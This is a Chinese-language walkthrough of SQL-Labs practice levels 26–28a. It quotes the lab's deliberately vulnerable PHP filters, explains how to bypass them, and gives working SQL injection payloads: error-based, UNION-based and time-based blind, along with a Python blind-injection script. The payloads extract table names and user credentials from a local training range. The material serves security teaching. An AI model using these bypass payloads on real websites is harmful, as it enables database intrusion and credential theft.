SQL-Labs靶场“26-28”关通关教程

君衍.

  • 一、二十六关 基于GET过滤空格以及注释报错注入
    • 1、源码分析
    • 2、绕过思路
    • 3、updatexml报错注入
  • 二、二十六a关 基于GET过滤空格注释字符型注入
    • 1、源码分析
    • 2、绕过思路
    • 3、时间盲注
  • 三、二十七关 基于union及select的过滤单引号注入
    • 1、源码分析
    • 2、绕过思路
    • 3、联合查询注入
    • 4、updatexml报错注入
  • 四、二十七a关 基于union及select的过滤双引号注入
    • 1、源码分析
    • 2、绕过思路
    • 3、联合查询注入
    • 4、时间盲注
  • 五、二十八关 基于union及select单引号括号注入
    • 1、源码分析
    • 2、绕过思路
    • 3、联合查询注入
    • 4、时间盲注
  • 五、二十八a关 基于二十八关的过滤减少
    • 1、源码分析
    • 2、绕过思路
    • 3、联合查询注入
    • 4、时间盲注

点击跳转:
SQL-Labs靶场“1-5”关通关教程
SQL-Labs靶场“6-10”关通关教程
SQL-Labs靶场“11-15”关通关教程
SQL-Labs靶场“15-20”关通关教程
SQL-Labs靶场“21-25”关通关教程

一、二十六关 基于GET过滤空格以及注释报错注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=‘$id’

刚打开的界面:
在这里插入图片描述
我们可以看到它说所有的空格以及注释好像让过滤掉了,这里我们首先进行验证:

1、令id为1观察回显

在这里插入图片描述

2、令id为1后面加上单引号观察是否会报错

在这里插入图片描述
我们这里可以看到有报错,所以我们之后可以进行尝试使用报错注入。

3、测试使用联合查询观察过滤后的语句

在这里插入图片描述
我们这里即可看到它将注释符以及空格进行了过滤从而引发报错,下面我们当然是想办法绕过,所以我们先查看源码。

1、源码分析

include("../sql-connections/sqli-connect.php");
// take the variables 
if(isset($_GET['id']))
{$id=$_GET['id'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);//fiddling with comments$id= blacklist($id);//echo "<br>";//echo $id;//echo "<br>";$hint=$id;
// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row){echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}else {print_r(mysqli_error($con1));}
}else { echo "Please input the ID as parameter with numeric value";}
function blacklist($id)
{$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*$id= preg_replace('/[--]/',"", $id);		//Strip out --$id= preg_replace('/[#]/',"", $id);			//Strip out #$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashesreturn $id;
}

首先先解读源码,第一步获取了变量id值,然后执行了blacklist函数进行了过滤,之后进入SQL语句中进行查询,如果可以查到,输出查询到的信息,所以这里我们使用联合查询其实也是可以的。如果没有查询到,那么输出报错信息。也就是报错注入也可以进行尝试。

这里我们也来看下具体的过滤情况:

# 过滤了or以及and的大小写
$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
# 过滤了/*
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
# 过滤了--以及#注释符
$id= preg_replace('/[--]/',"", $id);		//Strip out --
$id= preg_replace('/[#]/',"", $id);			//Strip out #
# 过滤了空格
$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
# 过滤了斜线
$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes

在这里插入图片描述

2、绕过思路

这里过滤了以下几个字符:

1、or以及and的大小写

我们可以考虑以下几种绕过方式:

and = &&
or = ||
# 异或
xor = |
not = !

使用这几种字符进行替换掉or以及and。
第二便是使用双写进行绕过:
即为:

or=oorr
and=anandd

2、过滤了–以及#注释符

这里我们可以使用闭合或者分号NULL的方式绕过:

1and '1'='1 #这里需要注意使用时观察闭合方式完成闭合
2;%00       #这里%00就是NULL的意思,这里可以充当注释符
3、`          #一些特殊的情况下可以充当注释

3、过滤了空格

这里我们使用如下几种方式绕过:

1/**/ #注释即可充当空格
2()
3、两个空格

也可采用url编码绕过:

符号说明
%09TAB 键 (水平)
%0a新建一行
%0c新的一页
%0dreturn 功能
%0bTAB 键 (垂直)
%a0空格

3、updatexml报错注入

1、爆出数据库名

payload:

?id=1'aandnd(updatexml(1,concat(0x7e,database(),0x7e),1));%00

在这里插入图片描述

2、爆出数据库中的所有表

payload:

?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e),1));%00

在这里插入图片描述

3、爆出users表中所有列名

payload:

?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where((table_schema='security')anandd(table_name='users'))),0x7e),1));%00

在这里插入图片描述

4、查询数据

payload:

?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(username,0x3a,passwoorrd))from(users)),0x7e),1));%00

在这里插入图片描述
观察字符限制使用limit或者substr函数进行截取即可。

二、二十六a关 基于GET过滤空格注释字符型注入

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注id=(‘$id’)

本关同26关的注入点判断基本一致,唯独这里可以发现的不同便是没有了报错,首先我们使用id为1进行测试:
在这里插入图片描述
然后在1后面加上单引号:
在这里插入图片描述
由这里我们即可判断出报错注入显然是不能使用了,同时我们在使用参数为1测试中发现是进行了查询信息的回显的,所以这里我们可以试着使用联合查询进行注入。同时,盲注我们还需知道闭合方式来进行判断是否可以绕过得到不同的界面。

1、源码分析

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
···
if($row)
{echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}
else 
{//print_r(mysqli_error($con1));
}

这里与26关不同的地方便是闭合方式以及注释掉了报错信息显示,所以这里我们是无法使用报错注入的。同时过滤函数同26关相同。
在这里插入图片描述

2、绕过思路

这里过滤了以下几个字符:

1、or以及and的大小写

我们可以考虑以下几种绕过方式:

and = &&
or = ||
# 异或
xor = |
not = !

使用这几种字符进行替换掉or以及and。
第二便是使用双写进行绕过:
即为:

or=oorr
and=anandd

2、过滤了–以及#注释符

这里我们可以使用闭合或者分号NULL的方式绕过:

1and '1'='1 #这里需要注意使用时观察闭合方式完成闭合
2;%00       #这里%00就是NULL的意思,这里可以充当注释符
3、`          #一些特殊的情况下可以充当注释

3、过滤了空格

这里我们使用如下几种方式绕过:

1/**/ #注释即可充当空格
2()
3、两个空格

也可采用url编码绕过:

符号说明
%09TAB 键 (水平)
%0a新建一行
%0c新的一页
%0dreturn 功能
%0bTAB 键 (垂直)
%a0空格

3、时间盲注

这里我们使用时间盲注进行注入,比如说这里我们首先测试数据库名的第一个字符的ascii值是否大于100,那么我们构造payload:

?id=1')anandd(if(ascii(left(database(),1))>100,sleep(3),0));%00

在这里插入图片描述
我们可以看到回显需要3秒以上,所以我们我们可以使用盲注的方式进行注入,我们编写成python来完成我们的盲注:

import requests
import timedef inject_database(url):name = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1')aandnd(if(ascii(substr(database(),%d,1))>%d, sleep(1), 0))aandnd('1')=('1" % (i, mid)params = {"id": payload}start_time = time.time()r = requests.get(url, params=params)end_time = time.time()if end_time - start_time >= 1:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname += chr(mid)print(name)if __name__ == "__main__":url = 'http://127.0.0.1/sqli7/Less-26a/index.php'inject_database(url)

在这里插入图片描述
可以看到非常的方便,下面我们便是更改payload继续进行时间盲注。

三、二十七关 基于union及select的过滤单引号注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=(‘$id’)

在这里插入图片描述
从主页面我们可以看到它说明将我们的union以及select进行了过滤,但是我们依旧是按照常规的注入思路进行注入点判断注入:

1、使用id为1进行查询,观察回显

在这里插入图片描述
这里我们可以看到回显了查询到的内容,所以我们之后可以进行尝试联合查询注入,先不说它将union以及select进行了过滤。

2、使用id为1后面加上单引号查看是否有回显

在这里插入图片描述
我们可以看到这里是进行了报错的,所以我们即使不使用union以及select进行查询也是可以尝试使用报错注入进行注入的。

1、源码分析

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
···
if($row)
{echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}
else 
{print_r(mysqli_error($con1));
}function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}

这里我们可以看到和26关相似,只是过滤的内容变了,所以我们现在进行分析:

function blacklist($id)
{
# 过滤了/*
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
# 过滤了-
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
# 过滤了#
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
# 过滤了空格
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
# 过滤了select /m严格模式不能进行双写绕过
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
# 过滤了union以及其大写
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}

2、绕过思路

union以及select没有忽略大小写,所以依旧可以进行绕过:

# 大小写混写
unioN
unIon
seLect
...# 嵌套双写
uunionnion
sselectelect
ununionion
...

这里还过滤了以下几个字符:

过滤了–以及#注释符

这里我们可以使用闭合或者分号NULL的方式绕过:

1and '1'='1 #这里需要注意使用时观察闭合方式完成闭合
2;%00       #这里%00就是NULL的意思,这里可以充当注释符
3、`          #一些特殊的情况下可以充当注释

过滤了空格

这里我们使用如下几种方式绕过:

1/**/ #注释即可充当空格
2()
3、两个空格

也可采用url编码绕过:

符号说明
%09TAB 键 (水平)
%0a新建一行
%0c新的一页
%0dreturn 功能
%0bTAB 键 (垂直)
%a0空格

3、联合查询注入

我们这里使用%0a进行尝试看是否可以代替空格(我们使用猜字段的方式:)

?id=9999'%0aorder%0aby%0a4;%00

在这里插入图片描述
我们可以看到使用%0a代替了空格且成功绕过,下面我们就正常思路使用联合查询注入:

1、爆出数据库名以及版本

?id=9999'%0auNion%0asElect%0a1,database(),version();%00

在这里插入图片描述
这里之所以使用9999,那是因为如果我们需要使用联合查询时,我们需要使联合查询前面的条件为假,我们之前使用-1,但是这里由于过滤掉了-号,所以我这里使用了9999远大于库中数据的数量。

2、爆出数据库中的表名

?id=9999'uNion%0asElect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00

在这里插入图片描述

3、查询可疑表users中的所有列名

?id=9999'uNion%0asElect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00

在这里插入图片描述

4、爆出数据

?id=9999'uNion%0asElect%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers;%00

在这里插入图片描述
这里我们即可完成注入。

4、updatexml报错注入

1、爆出数据库名

?id=1'%0aand%0aupdatexml(1,concat(0x7e,database(),0x7e),1);%00

在这里插入图片描述

2、爆出数据库中的表

?id=1'%0aand%0aupdatexml(1,concat(0x7e,(sElect%0agroup_concat(table_name)from%0ainformation_schema.tables%0awhere%0atable_schema='security'),0x7e),1);%00

在这里插入图片描述

3、爆出数据库中可疑表users的列名

?id=1'%0aand%0aupdatexml(1,concat(0x7e,(sElect%0agroup_concat(column_name)from%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users'),0x7e),1);%00

在这里插入图片描述

4、爆出数据

?id=1'%0aand%0aupdatexml(1,concat(0x7e,(sElect%0aconcat(username,0x3a,password)from%0ausers%0alimit%0a0,1),0x7e),1);%00

在这里插入图片描述
自此,27关注入即可完成。

四、二十七a关 基于union及select的过滤双引号注入

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注id=“$id”

本关和27关注入点判断基本一致,但是在使用1双引号传入参后,会发现没有了报错:
在这里插入图片描述
在这里插入图片描述
所以这里注入点这里没有了,我们也就不能使用报错注入,但是依旧可以看到查询到的结果是进行了回显的,所以我们之后可以进行尝试使用联合查询注入。

1、源码分析

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
···
if($row)
{echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}
else 
{//print_r(mysqli_error($con1));
}
···# 与27关一致

这里我们可以看到它将报错信息显示进行了注释,同时闭合方式采用了双引号进行闭合,剩下的过滤函数与27关一致。
在这里插入图片描述

2、绕过思路

union以及select没有忽略大小写,所以依旧可以进行绕过:

# 大小写混写
unioN
unIon
seLect
...# 嵌套双写
uunionnion
sselectelect
ununionion
...

这里还过滤了以下几个字符:

过滤了–以及#注释符

这里我们可以使用闭合或者分号NULL的方式绕过:

1and '1'='1 #这里需要注意使用时观察闭合方式完成闭合
2;%00       #这里%00就是NULL的意思,这里可以充当注释符
3、`          #一些特殊的情况下可以充当注释

过滤了空格

这里我们使用如下几种方式绕过:

1/**/ #注释即可充当空格
2()
3、两个空格

也可采用url编码绕过:

符号说明
%09TAB 键 (水平)
%0a新建一行
%0c新的一页
%0dreturn 功能
%0bTAB 键 (垂直)
%a0空格

3、联合查询注入

我们这里使用%0a进行尝试看是否可以代替空格(我们使用猜字段的方式:)

?id=1"%0aorder%0aby%0a3;%00
?id=1"%0aorder%0aby%0a4;%00

在这里插入图片描述
在这里插入图片描述
我们可以看到使用%0a代替了空格且成功绕过,下面我们就正常思路使用联合查询注入:

1、爆出数据库名以及版本

?id=9999"%0auNion%0asElect%0a1,database(),version();%00

在这里插入图片描述
这里之所以使用9999,那是因为如果我们需要使用联合查询时,我们需要使联合查询前面的条件为假,我们之前使用-1,但是这里由于过滤掉了-号,所以我这里使用了9999远大于库中数据的数量。

2、爆出数据库中的表名

?id=9999"uNion%0asElect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00

在这里插入图片描述

3、查询可疑表users中的所有列名

?id=9999"uNion%0asElect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00

在这里插入图片描述

4、爆出数据

?id=9999"uNion%0asElect%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers;%00

在这里插入图片描述
这里我们即可完成注入。

4、时间盲注

当然这里也可以使用时间盲注,payload如下:

?id=1"%0aand(if(ascii(left(database(),1))>111,sleep(3),0))and%0a"1"="1

在这里插入图片描述
判断数据库名第一个字符是否大于115:

?id=1"%0aand(if(ascii(left(database(),1))>115,sleep(3),0))and%0a"1"="1

在这里插入图片描述
由此可见我们也可编写python脚本即可完成注入。

五、二十八关 基于union及select单引号括号注入

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注id=(‘$id’)

本关依旧和二十七关类似,使用1以及1单引号来进行请求查看回显:
在这里插入图片描述
在这里插入图片描述
我们依旧可以看到输出了查询到的信息,但是并没有输出报错信息,所以本关和27a类似,可以使用联合查询以及盲注的方式注入。

1、源码分析

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
···
if($row)
{echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}
else 
{//print_r(mysqli_error($con1));
}
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
return $id;
}

本关采用单引号括号进行闭合,同时注释了报错信息,输出了查询到的信息,同时过滤了一些字符。与27a关不同的便在于闭合方式以及过滤的内容。
在这里插入图片描述

2、绕过思路

首先我们来看本关的过滤内容:

# 过滤了/*
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
# 过滤了-以及#注释符
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
# 过滤了空格
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
# 过滤了union select /i大小写都进行了过滤
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.

所以这里我们大小写绕过是不可能的了,这里我们使用双写进行绕过union以及select的过滤。

# 嵌套双写
uunionnion
sselectelect
ununionion
...

这里还过滤了以下几个字符:

过滤了–以及#注释符

这里我们可以使用闭合或者分号NULL的方式绕过:

1and '1'='1 #这里需要注意使用时观察闭合方式完成闭合
2;%00       #这里%00就是NULL的意思,这里可以充当注释符
3、`          #一些特殊的情况下可以充当注释

过滤了空格

这里我们使用如下几种方式绕过:

1/**/ #注释即可充当空格
2()
3、两个空格

也可采用url编码绕过:

符号说明
%09TAB 键 (水平)
%0a新建一行
%0c新的一页
%0dreturn 功能
%0bTAB 键 (垂直)
%a0空格

3、联合查询注入

我们这里使用%0a进行尝试看是否可以代替空格(我们使用猜字段的方式:)

?id=1')%0aorder%0aby%0a3;%00
?id=1')%0aorder%0aby%0a4;%00

在这里插入图片描述
在这里插入图片描述
我们可以看到使用%0a代替了空格且成功绕过,下面我们就正常思路使用联合查询注入:

1、爆出数据库名以及版本

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,database(),version();%00

在这里插入图片描述

这里之所以使用9999,那是因为如果我们需要使用联合查询时,我们需要使联合查询前面的条件为假,我们之前使用-1,但是这里由于过滤掉了-号,所以我这里使用了9999远大于库中数据的数量。

2、爆出数据库中的表名

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00

在这里插入图片描述

3、查询可疑表users中的所有列名

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00

在这里插入图片描述

4、爆出数据

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers;%00

在这里插入图片描述
这里我们即可完成注入。

4、时间盲注

当然这里也可以使用时间盲注,payload如下:

?id=1')%0aand(if(ascii(left(database(),1))>111,sleep(3),0))and%0a('1')=('1

在这里插入图片描述
判断数据库名第一个字符是否大于115:

?id=1')%0aand(if(ascii(left(database(),1))>115,sleep(3),0))and%0a('1')=('1

在这里插入图片描述
由此可见我们也可编写python脚本即可完成注入。

五、二十八a关 基于二十八关的过滤减少

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注id=(‘$id’)

本关只是比28关少了几个过滤,剩下全部一样,所以注入点判断依旧是一样的,使用1以及1单引号进行测试:
在这里插入图片描述
在这里插入图片描述
这里我们依旧可以看到回显查询到的信息,不回显报错信息。

1、源码分析

function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
//$id= preg_replace('/[--]/',"", $id);				//Strip out --.
//$id= preg_replace('/[#]/',"", $id);					//Strip out #.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out spaces.
return $id;
}

**剩余代码与28关都一样。。。**同时将这些过滤注释掉了,所以本关就是······难评。
在这里插入图片描述

2、绕过思路

# 过滤了union select /i大小写都进行了过滤
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.

所以这里我们大小写绕过是不可能的了,这里我们使用双写进行绕过union以及select的过滤。

# 嵌套双写
uunionnion
sselectelect
ununionion
...

3、联合查询注入

?id=1')%0aorder%0aby%0a3;%00
?id=1')%0aorder%0aby%0a4;%00

在这里插入图片描述
在这里插入图片描述
我们可以看到使用%0a代替了空格且成功绕过,下面我们就正常思路使用联合查询注入:

1、爆出数据库名以及版本

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,database(),version();%00

在这里插入图片描述

这里之所以使用9999,那是因为如果我们需要使用联合查询时,我们需要使联合查询前面的条件为假,我们之前使用-1,但是这里由于过滤掉了-号,所以我这里使用了9999远大于库中数据的数量。

2、爆出数据库中的表名

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00

在这里插入图片描述

3、查询可疑表users中的所有列名

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00

在这里插入图片描述

4、爆出数据

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers;%00

在这里插入图片描述
这里我们即可完成注入。

4、时间盲注

当然这里也可以使用时间盲注,payload如下:

?id=1')%0aand(if(ascii(left(database(),1))>111,sleep(3),0))and%0a('1')=('1

在这里插入图片描述
判断数据库名第一个字符是否大于115:

?id=1')%0aand(if(ascii(left(database(),1))>115,sleep(3),0))and%0a('1')=('1

在这里插入图片描述
由此可见我们也可编写python脚本即可完成注入。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/266723.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Unity(第十六部)声音和视频

声音 1、听声音 创建相机的时候&#xff0c;相机自带Audio Listener 多个相机的时候&#xff0c;我们只保留一个Audio Listener就可以 2、声音源&#xff0c;环境音 添加Audio Source就行中文叫声音源 3、脚本执行的声音 using System.Collections; using System.Collection…

itertools, 一个超好用的Python库

前言 Python用来处理迭代器的工具你想到了啥&#xff1f;itertools 就是一个特别有用的库&#xff0c;它提供了一系列用于创建和操作迭代器的工具&#xff0c;以下是10个常用的操作&#xff0c;可用在实际工作中&#xff0c;熟练掌握这些操作&#xff0c;将极大提升你在 Pytho…

数据可视化基础与应用-02-基于powerbi实现连锁糕点店数据集的仪表盘制作

总结 本系列是数据可视化基础与应用的第02篇&#xff0c;主要介绍基于powerbi实现一个连锁糕点店数据集的仪表盘制作。 数据集描述 有一个数据集&#xff0c;包含四张工作簿&#xff0c;每个工作簿是一张表&#xff0c;其中可以销售表可以划分为事实表&#xff0c;产品表&am…

生成式AI设计模式:综合指南

原文地址&#xff1a;Generative AI Design Patterns: A Comprehensive Guide 使用大型语言模型 (LLM) 的参考架构模式和心理模型 2024 年 2 月 14 日 对人工智能模式的需求 我们在构建新事物时&#xff0c;都会依赖一些经过验证的方法、途径和模式。对于软件工程师来说&am…

【前端素材】推荐优质后台管理系统 Adminity平台模板(附源码)

一、需求分析 1、系统定义 后台管理系统是一种用于管理网站、应用程序或系统的管理界面&#xff0c;通常由管理员和工作人员使用。它提供了访问和控制网站或应用程序后台功能的工具和界面&#xff0c;使其能够管理用户、内容、数据和其他各种功能。 2、功能需求 后台管理系…

k8s学习笔记-基础概念

&#xff08;作者&#xff1a;陈玓玏&#xff09; deployment特别的地方在于replica和selector&#xff0c;docker根据镜像起容器&#xff0c;pod控制容器&#xff0c;job、cronjob、deployment控制pod&#xff0c;job做离线任务&#xff0c;pod大多一次性的&#xff0c;cronj…

Unity | Shader基础知识(第十集:shader常用外部资产单词速成)

目录 一、外部资产简介 二、常用的外部资产单词 三、常用的外部资产单词和引入内部 四、图片资产外部调整的具体讲解 1.Tiling&#xff0c;中文&#xff1a;铺地砖 2.Offset&#xff0c;中文&#xff1a;偏移 五、作者的话 一、外部资产简介 在第六集中&#xff0c;我们…

旧衣回收小程序开发,提高回收效率增加创收

在我国经济大力发展下&#xff0c;国人的生活水平不断提高。生活质量得到提升&#xff0c;衣食住行也从而得到了提升。因此&#xff0c;家家户户中产生的闲置衣物开始增加&#xff0c;我国旧衣回收市场规模非常庞大。 当下&#xff0c;时代发展主流是以互联网为主&#xff0c;…

C# EF Core迁移数据库

现象&#xff1a; 在CodeFirst时&#xff0c;先写字段与表&#xff0c;创建数据库后&#xff0c;再添加内容 但字段与表会变更&#xff0c;比如改名删除增加等 需求&#xff1a; 当表字段变更时&#xff0c;同时变更数据库&#xff0c;执行数据库迁移 核心命令 Add-Migrat…

云计算 2月20号 (认识操作系统)

1、认识操作系统 计算机系统的组成 知识点1&#xff1a;没有软件系统的计算机称之为"裸机" 知识点2&#xff1a;裸机提供基本的可计算性资源 知识点3&#xff1a;操作系统是最靠近硬件的软件层&#xff0c;负责管理和控制计算机硬件。 计算机硬件组成五大部件 运算器…

MySQL:合并查询语句

1、查询表的数据 t_book表数据 SELECT * FROM db_book.t_book; t_booktype表数据 SELECT * FROM db_book.t_booktype; 提醒&#xff1a; 下面的查询操作的数据来自上图查询表的数据 2. 使用 UNION 查询结果合并&#xff0c;会去掉重复的数据 使用UNION关键字是&#xff0c;数…

docker报错 fatal error: runtim: out of memory

fatal error: runtim: out of memory 真无语了 系统内存也够用 原来是虚拟机的不够用了 &#xff08;原本1g已经加到2g还是会报错&#xff09; 直接3台虚拟机都加到4g

计算机组成原理-第一/二章 概述和数据的表示和运算【期末复习|考研复习】

前言 总结整理不易&#xff0c;希望大家点赞收藏。 给大家整理了一下计算机组成原理中的重点概念&#xff0c;以供大家期末复习和考研复习的时候使用。 参考资料是王道的计算机组成原理和西电的计算机组成原理。 计算机组成原理系列文章传送门&#xff1a; 第一/二章 概述和数据…

深度学习-回顾经典AlexNet网络:山高我为峰

深度学习-回顾经典AlexNet网络之山高我为峰 深度学习中&#xff0c;经典网络引领一波又一波的技术革命&#xff0c;从LetNet到当前最火的GPT所用的Transformer&#xff0c;它们把AI技术不断推向高潮。2012年AlexNet大放异彩&#xff0c;它把深度学习技术引领第一个高峰&#x…

Linux进程管理:(二)进程调度原语

文章说明&#xff1a; Linux内核版本&#xff1a;5.0 架构&#xff1a;ARM64 参考资料及图片来源&#xff1a;《奔跑吧Linux内核》 Linux 5.0内核源码注释仓库地址&#xff1a; zhangzihengya/LinuxSourceCode_v5.0_study (github.com) 进程调度的概念比较简单&#xff0c…

ubuntu系统下大数据服务器磁盘调优测试记录

一、背景 在kvm虚拟机ubuntu操作系统大数据平台测试的过程中&#xff0c;遭遇了磁盘I/O性能的瓶颈&#xff0c;因有cpu绑核操作&#xff0c;故有做隔核操作验证是否是绑核影响的磁盘I/O&#xff0c;后又对磁盘进行透传以及挂内存盘等操作&#xff1b; 二、磁盘介绍 2.1 磁盘…

【Linux】部署单机项目(自动化启动)

目录 一.jdk安装 二.tomcat安装 三.MySQL安装 四.部署项目 一.jdk安装 1.上传jdk安装包 jdk-8u151-linux-x64.tar.gz 进入opt目录&#xff0c;将安装包拖进去 2.解压安装包 防止后面单个系列解压操作&#xff0c;我这边就直接将所有的要用的全部给解压&#xff0c;如下图注…

分布式存储 ZBS 的 RoCE 技术支持与大数据应用场景性能评测

作者&#xff1a;深耕行业的 SmartX 金融团队 闫海涛 在《解决 SAN 交换机“卡脖子”并升级存储架构&#xff1f;一文解析 RoCE 与相关存储方案趋势》文章中&#xff0c;我们分析了如何利用支持 RoCE 技术的分布式存储&#xff0c;同步实现 IT 基础架构的信创转型与架构升级&a…

利用python爬取本站的所有博客链接

目录 前因 首先的尝试 解决办法 导入包 定义一个json配置文件 打开浏览器执行操作 注意 提取源代码并且进行筛选链接 执行结果 前因 由于自己要把csdn的博客同步到hugo中&#xff0c;把博客转为md格式已经搞好了&#xff0c;但是由于csdn的图片具有防盗链&#xff0c;…

通过一篇文章让你了解数据结构和算法的重要性

通过一篇文章让你了解数据结构和算法的重要性 前言一、 什么是数据结构&#xff1f;二、什么是算法&#xff1f;三、数据结构和算法的重要性在校园招聘的笔试中&#xff1a;在校园招聘的面试中&#xff1a;在未来的工作中&#xff1a; 四、如何学好数据结构和算法4.1 死磕代码&…